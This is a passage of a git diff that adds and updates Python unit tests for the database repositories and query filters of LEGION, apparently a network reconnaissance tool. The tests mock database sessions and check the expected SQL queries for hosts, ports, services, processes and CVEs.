@patch('utilities.stenoLogging.get_logger') def test_removeTemporaryFiles_whenProjectIsNotTemporaryAndNotStoringWordlists_shouldRemoveWordListsAndRunningFolder( - self, get_logger): - get_logger.return_value = MagicMock() + self): from app.logic import Logic - logic = Logic(self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell) logic.setStoreWordlistsOnExit(False) logic.istemp = False logic.runningfolder = "./running/folder" @@ -68,12 +65,10 @@ def test_removeTemporaryFiles_whenProjectIsNotTemporaryAndNotStoringWordlists_sh self.shell.remove_file.assert_has_calls([mock.call("UsernamesList.txt"), mock.call("PasswordsList.txt")]) self.shell.remove_directory.assert_called_once_with("./running/folder") - @patch('utilities.stenoLogging.get_logger') def test_removeTemporaryFiles_whenProjectIsTemporary_shouldRemoveProjectAndOutputFolderAndRunningFolder( - self, get_logger): - get_logger.return_value = MagicMock() + self): from app.logic import Logic - logic = Logic(self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell) logic.istemp = True logic.projectname = "project-name" logic.runningfolder = "./running/folder" @@ -83,12 +78,10 @@ def test_removeTemporaryFiles_whenProjectIsTemporary_shouldRemoveProjectAndOutpu self.shell.remove_file.assert_called_once_with("project-name") self.shell.remove_directory.assert_has_calls([mock.call("./output/folder"), mock.call("./running/folder")]) - @patch('utilities.stenoLogging.get_logger') def test_toggleProcessDisplayStatus_whenResetAllIsTrue_setDisplayToFalseForAllProcessesThatAreNotRunning( - self, get_logger): - get_logger.return_value = MagicMock() + self): from app.logic import Logic - logic = Logic(self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell) process1 = build_mock_process(status="Waiting", display="True") process2 = build_mock_process(status="Waiting", display="True") @@ -109,12 +102,10 @@ def test_toggleProcessDisplayStatus_whenResetAllIsTrue_setDisplayToFalseForAllPr ]) logic.db.commit.assert_called_once() - @patch('utilities.stenoLogging.get_logger') def test_toggleProcessDisplayStatus_whenResetAllIFalse_setDisplayToFalseForAllProcessesThatAreNotRunningOrWaiting( - self, get_logger): - get_logger.return_value = MagicMock() + self): from app.logic import Logic - logic = Logic(self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell) process1 = build_mock_process(status="Random Status", display="True") process2 = build_mock_process(status="Another Random Status", display="True") diff --git a/tests/db/__init__.py b/tests/db/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/db/helpers/db_helpers.py b/tests/db/helpers/db_helpers.py new file mode 100644 index 00000000..c54a0640 --- /dev/null +++ b/tests/db/helpers/db_helpers.py @@ -0,0 +1,25 @@ +from unittest.mock import MagicMock + + +def mock_execute_fetchall(return_value): + mock_db_execute = MagicMock() + mock_db_execute.fetchall.return_value = return_value + return mock_db_execute + + +def mock_first_by_side_effect(return_value): + mock_filter_by = MagicMock() + mock_filter_by.first.side_effect = return_value + return mock_filter_by + + +def mock_first_by_return_value(return_value): + mock_filter_by = MagicMock() + mock_filter_by.first.return_value = return_value + return mock_filter_by + + +def mock_query_with_filter_by(return_value): + mock_query = MagicMock() + mock_query.filter_by.return_value = return_value + return mock_query diff --git a/tests/db/repositories/__init__.py b/tests/db/repositories/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py new file mode 100644 index 00000000..5b3fba3c --- /dev/null +++ b/tests/db/repositories/test_CVERepository.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import patch, MagicMock + +from tests.db.helpers.db_helpers import mock_execute_fetchall + + +class CVERepositoryTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + self.mock_db_adapter = MagicMock() + + def test_get_cves_by_host_ip_WhenProvidedAHostIp_ReturnsCVEs(self): + from db.repositories.CVERepository import CVERepository + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['cve1'], ['cve2']]) + expected_query = ( + 'SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, ' + 'cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' + 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' + 'WHERE hosts.ip = ?' + ) + cve_repository = CVERepository(self.mock_db_adapter) + result = cve_repository.get_cves_by_host_ip("some_host") + self.assertEqual([['cve1'], ['cve2']], result) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host") diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py new file mode 100644 index 00000000..87bc25bf --- /dev/null +++ b/tests/db/repositories/test_HostRepository.py @@ -0,0 +1,128 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import MagicMock, patch + +from tests.db.helpers.db_helpers import mock_execute_fetchall, mock_query_with_filter_by, mock_first_by_return_value + +exists_query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' + + +def expected_get_hosts_and_ports_query(with_filter: str = "") -> str: + query = ( + "SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId,services.name," + "services.product,services.version,services.extrainfo,services.fingerprint FROM portObj AS ports " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId " + "WHERE services.name=?") + query += with_filter + return query + + +class HostRepositoryTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + self.mock_db_adapter = MagicMock() + + def get_hosts_and_ports_test_case(self, filters, service_name, expected_query): + from db.repositories.HostRepository import HostRepository + + repository = HostRepository(self.mock_db_adapter) + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall( + [{'name': 'service_name1'}, {'name': 'service_name2'}]) + service_names = repository.get_hosts_and_ports_by_service_name(service_name, filters) + + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, service_name) + self.assertEqual([{'name': 'service_name1'}, {'name': 'service_name2'}], service_names) + + def test_exists_WhenProvidedAExistingHosts_ReturnsTrue(self): + from db.repositories.HostRepository import HostRepository + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['some-ip']]) + + host_repository = HostRepository(self.mock_db_adapter) + self.assertTrue(host_repository.exists("some_host")) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(exists_query, "some_host", "some_host") + + def test_exists_WhenProvidedANonExistingHosts_ReturnsFalse(self): + from db.repositories.HostRepository import HostRepository + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([]) + + host_repository = HostRepository(self.mock_db_adapter) + self.assertFalse(host_repository.exists("some_host")) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(exists_query, "some_host", "some_host") + + def test_get_hosts_InvokedWithNoFilters_ReturnsHosts(self): + from db.repositories.HostRepository import HostRepository + from app.auxiliary import Filters + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['host1'], ['host2']]) + expected_query = "SELECT * FROM hostObj AS hosts WHERE 1=1" + host_repository = HostRepository(self.mock_db_adapter) + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = host_repository.get_hosts(filters) + self.assertEqual([['host1'], ['host2']], result) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query) + + def test_get_hosts_InvokedWithAFewFilters_ReturnsFilteredHosts(self): + from db.repositories.HostRepository import HostRepository + from app.auxiliary import Filters + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['host1'], ['host2']]) + expected_query = ("SELECT * FROM hostObj AS hosts WHERE 1=1" + " AND hosts.status != 'down' AND hosts.checked != 'True'") + host_repository = HostRepository(self.mock_db_adapter) + filters: Filters = Filters() + filters.apply(up=True, down=False, checked=False, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = host_repository.get_hosts(filters) + self.assertEqual([['host1'], ['host2']], result) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query) + + def test_get_host_info_WhenProvidedHostIpAddress_FetchesHostInformation(self): + from db.database import hostObj + from db.repositories.HostRepository import HostRepository + + mock_db_session = MagicMock() + expected_host_info: hostObj = MagicMock() + self.mock_db_adapter.session.return_value = mock_db_session + mock_db_session.query.return_value = mock_query_with_filter_by(mock_first_by_return_value(expected_host_info)) + + repository = HostRepository(self.mock_db_adapter) + actual_host_info = repository.get_host_information("127.0.0.1") + self.assertEqual(actual_host_info, expected_host_info) + + def test_get_hosts_and_ports_InvokedWithNoFilters_FetchesHostsAndPortsMatchingKeywords(self): + from app.auxiliary import Filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + expected_query = expected_get_hosts_and_ports_query() + self.get_hosts_and_ports_test_case(filters=filters, + service_name="some_service_name", expected_query=expected_query) + + def test_get_hosts_and_ports_InvokedWithFewFilters_FetchesHostsAndPortsWithFiltersApplied(self): + from app.auxiliary import Filters + + filters: Filters = Filters() + filters.apply(up=True, down=False, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=False) + expected_query = expected_get_hosts_and_ports_query( + with_filter=" AND hosts.status != 'down' AND ports.protocol != 'udp'") + self.get_hosts_and_ports_test_case(filters=filters, + service_name="some_service_name", expected_query=expected_query) diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py new file mode 100644 index 00000000..13051187 --- /dev/null +++ b/tests/db/repositories/test_PortRepository.py @@ -0,0 +1,93 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018-2019 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import patch, MagicMock + +from tests.db.helpers.db_helpers import mock_first_by_return_value, mock_execute_fetchall + + +class PortRepositoryTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + self.mock_db_adapter = MagicMock() + + def test_get_ports_by_ip_and_protocol_ReturnsPorts(self): + from db.repositories.PortRepository import PortRepository + + expected_query = ("SELECT ports.portId FROM portObj AS ports " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "WHERE hosts.ip = ? and ports.protocol = ?") + repository = PortRepository(self.mock_db_adapter) + self.mock_db_adapter.metadata.bind.execute.return_value = mock_first_by_return_value( + [['port-id1'], ['port-id2']]) + ports = repository.get_ports_by_ip_and_protocol("some_host_ip", "tcp") + + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip", "tcp") + self.assertEqual([['port-id1'], ['port-id2']], ports) + + def test_get_port_states_by_host_id_ReturnsPortsStates(self): + from db.repositories.PortRepository import PortRepository + + expected_query = 'SELECT port.state FROM portObj as port WHERE port.hostId = ?' + repository = PortRepository(self.mock_db_adapter) + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall( + [['port-state1'], ['port-state2']]) + port_states = repository.get_port_states_by_host_id("some_host_id") + + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_id") + self.assertEqual([['port-state1'], ['port-state2']], port_states) + + def test_get_ports_and_services_by_host_ip_InvokedWithNoFilters_ReturnsPortsAndServices(self): + from db.repositories.PortRepository import PortRepository + from app.auxiliary import Filters + + expected_query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " + "services.name, services.product, services.version, services.extrainfo, services.fingerprint " + "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId " + "WHERE hosts.ip = ?") + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['ip1'], ['ip2']]) + repository = PortRepository(self.mock_db_adapter) + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + results = repository.get_ports_and_services_by_host_ip("some_host_ip", filters) + + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip") + self.assertEqual([['ip1'], ['ip2']], results) + + def test_get_ports_and_services_by_host_ip_InvokedWithFewFilters_ReturnsPortsAndServices(self): + from db.repositories.PortRepository import PortRepository + from app.auxiliary import Filters + + expected_query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " + "services.name, services.product, services.version, services.extrainfo, services.fingerprint " + "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId " + "WHERE hosts.ip = ? AND ports.protocol != 'tcp' AND ports.protocol != 'udp'") + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['ip1'], ['ip2']]) + repository = PortRepository(self.mock_db_adapter) + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=False, udp=False) + results = repository.get_ports_and_services_by_host_ip("some_host_ip", filters) + + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip") + self.assertEqual([['ip1'], ['ip2']], results) diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py new file mode 100644 index 00000000..3b6b9928 --- /dev/null +++ b/tests/db/repositories/test_ProcessRepository.py @@ -0,0 +1,187 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest import mock +from unittest.mock import MagicMock, patch + +from tests.db.helpers.db_helpers import mock_execute_fetchall, mock_first_by_side_effect, mock_first_by_return_value, \ + mock_query_with_filter_by + + +class ProcessRepositoryTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + self.mock_db_adapter = MagicMock() + self.mock_logger = MagicMock() + + def test_store_process_output_WhenProvidedExistingProcessIdAndOutput_StoresProcessOutput(self): + from db.repositories.ProcessRepository import ProcessRepository + from db.database import process, process_output + + expected_process: process = MagicMock() + process.status = 'Running' + expected_process_output: process_output = MagicMock() + mock_db_session = MagicMock() + self.mock_db_adapter.session.return_value = mock_db_session + mock_query = MagicMock() + mock_query.filter_by.return_value = mock_first_by_side_effect([expected_process, expected_process_output]) + mock_db_session.query.return_value = mock_query + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + process_repository.store_process_output("some_process_id", "this is some cool output") + + mock_db_session.add.assert_has_calls([ + mock.call(expected_process_output), + mock.call(expected_process) + ]) + self.mock_db_adapter.commit.assert_called_once() + + def test_store_process_output_WhenProvidedProcessIdDoesNotExist_DoesNotPerformAnyUpdate(self): + from db.repositories.ProcessRepository import ProcessRepository + + mock_db_session = MagicMock() + self.mock_db_adapter.session.return_value = mock_db_session + mock_db_session.query.return_value = mock_query_with_filter_by(mock_first_by_return_value(False)) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + process_repository.store_process_output("some_non_existant_process_id", "this is some cool output") + + mock_db_session.add.assert_not_called() + self.mock_db_adapter.commit.assert_not_called() + + def test_store_process_output_WhenProvidedExistingProcessIdAndOutputButProcKilled_StoresOutputButStatusNotUpdated( + self): + self.when_process_does_not_finish_gracefully("Killed") + + def test_store_process_output_WhenProvidedExistingProcessIdAndOutputButProcCancelled_StoresOutputButStatusNotUpdated( + self): + self.when_process_does_not_finish_gracefully("Cancelled") + + def test_store_process_output_WhenProvidedExistingProcessIdAndOutputButProcCrashed_StoresOutputButStatusNotUpdated( + self): + self.when_process_does_not_finish_gracefully("Crashed") + + def test_get_status_by_process_id_WhenGivenProcId_FetchesProcessStatus(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = 'SELECT process.status FROM process AS process WHERE process.id=?' + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['Running']]) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + actual_status = process_repository.get_status_by_process_id("some_process_id") + + self.assertEqual(actual_status, 'Running') + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_get_status_by_process_id_WhenProcIdDoesNotExist_ReturnsNegativeOne(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = 'SELECT process.status FROM process AS process WHERE process.id=?' + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall(False) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + actual_status = process_repository.get_status_by_process_id("some_process_id") + + self.assertEqual(actual_status, -1) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_get_pid_by_process_id_WhenGivenProcId_FetchesProcessId(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = 'SELECT process.pid FROM process AS process WHERE process.id=?' + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['1234']]) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + actual_status = process_repository.get_pid_by_process_id("some_process_id") + + self.assertEqual(actual_status, '1234') + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_get_pid_by_process_id_WhenProcIdDoesNotExist_ReturnsNegativeOne(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = 'SELECT process.pid FROM process AS process WHERE process.id=?' + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall(False) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + actual_status = process_repository.get_pid_by_process_id("some_process_id") + + self.assertEqual(actual_status, -1) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_is_killed_process_WhenProvidedKilledProcessId_ReturnsTrue(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Killed"]]) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + + self.assertTrue(process_repository.is_killed_process("some_process_id")) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_is_killed_process_WhenProvidedNonKilledProcessId_ReturnsFalse(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Running"]]) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + + self.assertFalse(process_repository.is_killed_process("some_process_id")) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_is_cancelled_process_WhenProvidedCancelledProcessId_ReturnsTrue(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Cancelled"]]) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + + self.assertTrue(process_repository.is_cancelled_process("some_process_id")) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def test_is_cancelled_process_WhenProvidedNonCancelledProcessId_ReturnsFalse(self): + from db.repositories.ProcessRepository import ProcessRepository + + expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Running"]]) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + + self.assertFalse(process_repository.is_cancelled_process("some_process_id")) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + + def when_process_does_not_finish_gracefully(self, process_status: str): + from db.repositories.ProcessRepository import ProcessRepository + from db.database import process, process_output + + expected_process: process = MagicMock() + expected_process.status = process_status + expected_process_output: process_output = MagicMock() + mock_db_session = MagicMock() + self.mock_db_adapter.session.return_value = mock_db_session + mock_db_session.query.return_value = mock_query_with_filter_by( + mock_first_by_side_effect([expected_process, expected_process_output])) + + process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + process_repository.store_process_output("some_process_id", "this is some cool output") + + mock_db_session.add.assert_called_once_with(expected_process_output) + self.mock_db_adapter.commit.assert_called_once() diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py new file mode 100644 index 00000000..a535c422 --- /dev/null +++ b/tests/db/repositories/test_ServiceRepository.py @@ -0,0 +1,80 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import MagicMock, patch + +from tests.db.helpers.db_helpers import mock_execute_fetchall, mock_first_by_return_value, mock_query_with_filter_by + + +class ServiceRepositoryTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + self.mock_db_adapter = MagicMock() + + def get_service_names_test_case(self, filters, expected_query): + from db.repositories.ServiceRepository import ServiceRepository + + repository = ServiceRepository(self.mock_db_adapter) + + self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall( + [{'name': 'service_name1'}, {'name': 'service_name2'}]) + service_names = repository.get_service_names(filters) + + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query) + self.assertEqual([{'name': 'service_name1'}, {'name': 'service_name2'}], service_names) + + def test_get_service_names_InvokedWithNoFilters_FetchesAllServiceNames(self): + from app.auxiliary import Filters + + expected_query = query = ("SELECT DISTINCT service.name FROM serviceObj as service " + "INNER JOIN portObj as ports " + "INNER JOIN hostObj AS hosts " + "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " + "ORDER BY service.name ASC") + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + self.get_service_names_test_case(filters=filters, expected_query=expected_query) + + def test_get_service_names_InvokedWithFewFilters_FetchesAllServiceNamesWithFiltersApplied(self): + from app.auxiliary import Filters + + expected_query = ("SELECT DISTINCT service.name FROM serviceObj as service " + "INNER JOIN portObj as ports " + "INNER JOIN hostObj AS hosts " + "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " + "AND hosts.status != 'down' AND ports.protocol != 'udp' " + "ORDER BY service.name ASC") + filters: Filters = Filters() + filters.apply(up=True, down=False, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=False) + self.get_service_names_test_case(filters=filters, expected_query=expected_query) + + def test_get_service_names_by_host_ip_and_port_WhenProvidedWithHostIpAndPort_ReturnsServiceNames(self): + from db.repositories.ServiceRepository import ServiceRepository + self.mock_db_adapter.metadata.bind.execute.return_value = mock_first_by_return_value( + [['service-name1'], ['service-name2']]) + + expected_query = ("SELECT services.name FROM serviceObj AS services " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "INNER JOIN portObj AS ports ON services.id=ports.serviceId " + "WHERE hosts.ip=? and ports.portId = ?") + service_repository = ServiceRepository(self.mock_db_adapter) + result = service_repository.get_service_names_by_host_ip_and_port("some_host", "1234") + self.assertEqual([['service-name1'], ['service-name2']], result) + self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host", "1234") diff --git a/tests/db/test_filters.py b/tests/db/test_filters.py new file mode 100644 index 00000000..1e5021db --- /dev/null +++ b/tests/db/test_filters.py @@ -0,0 +1,127 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import patch + + +class FiltersTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + return + + def test_apply_filters_InvokedWithNoFilters_ReturnsEmptyString(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual("", result) + + def test_apply_filters_InvokedWithHostDownFilter_ReturnsQueryFilterWithHostsDown(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=False, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND hosts.status != 'down'", result) + + def test_apply_filters_InvokedWithHostUpFilter_ReturnsQueryFilterWithHostsUp(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=False, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND hosts.status != 'up'", result) + + def test_apply_filters_InvokedWithHostCheckedFilter_ReturnsQueryFilterWithHostsChecked(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=False, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND hosts.checked != 'True'", result) + + def test_apply_filters_InvokedWithPortOpenFilter_ReturnsQueryFilterWithPortOpen(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=False, portfiltered=True, portclosed=True, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND ports.state != 'open' AND ports.state != 'open|filtered'", result) + + def test_apply_filters_InvokedWithPortClosedFilter_ReturnsQueryFilterWithPortClosed(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=False, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND ports.state != 'closed'", result) + + def test_apply_filters_InvokedWithPortFilteredFilter_ReturnsQueryFilterWithPortFiltered(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=False, portclosed=True, + tcp=True, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND ports.state != 'filtered' AND ports.state != 'open|filtered'", result) + + def test_apply_filters_InvokedWithTcpProtocolFilter_ReturnsQueryFilterWithTcp(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=False, udp=True) + result = apply_filters(filters) + self.assertEqual(" AND ports.protocol != 'tcp'", result) + + def test_apply_filters_InvokedWithUdpProtocolFilter_ReturnsQueryFilterWithUdp(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=False) + result = apply_filters(filters) + self.assertEqual(" AND ports.protocol != 'udp'", result) + + def test_apply_filters_InvokedWithKeywordsFilter_ReturnsQueryFilterWithKeywords(self): + from app.auxiliary import Filters + from db.filters import apply_filters + + filters: Filters = Filters() + keyword = "some-keyword" + filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, + tcp=True, udp=True, keywords=[keyword]) + result = apply_filters(filters) + self.assertEqual(" AND (hosts.ip LIKE 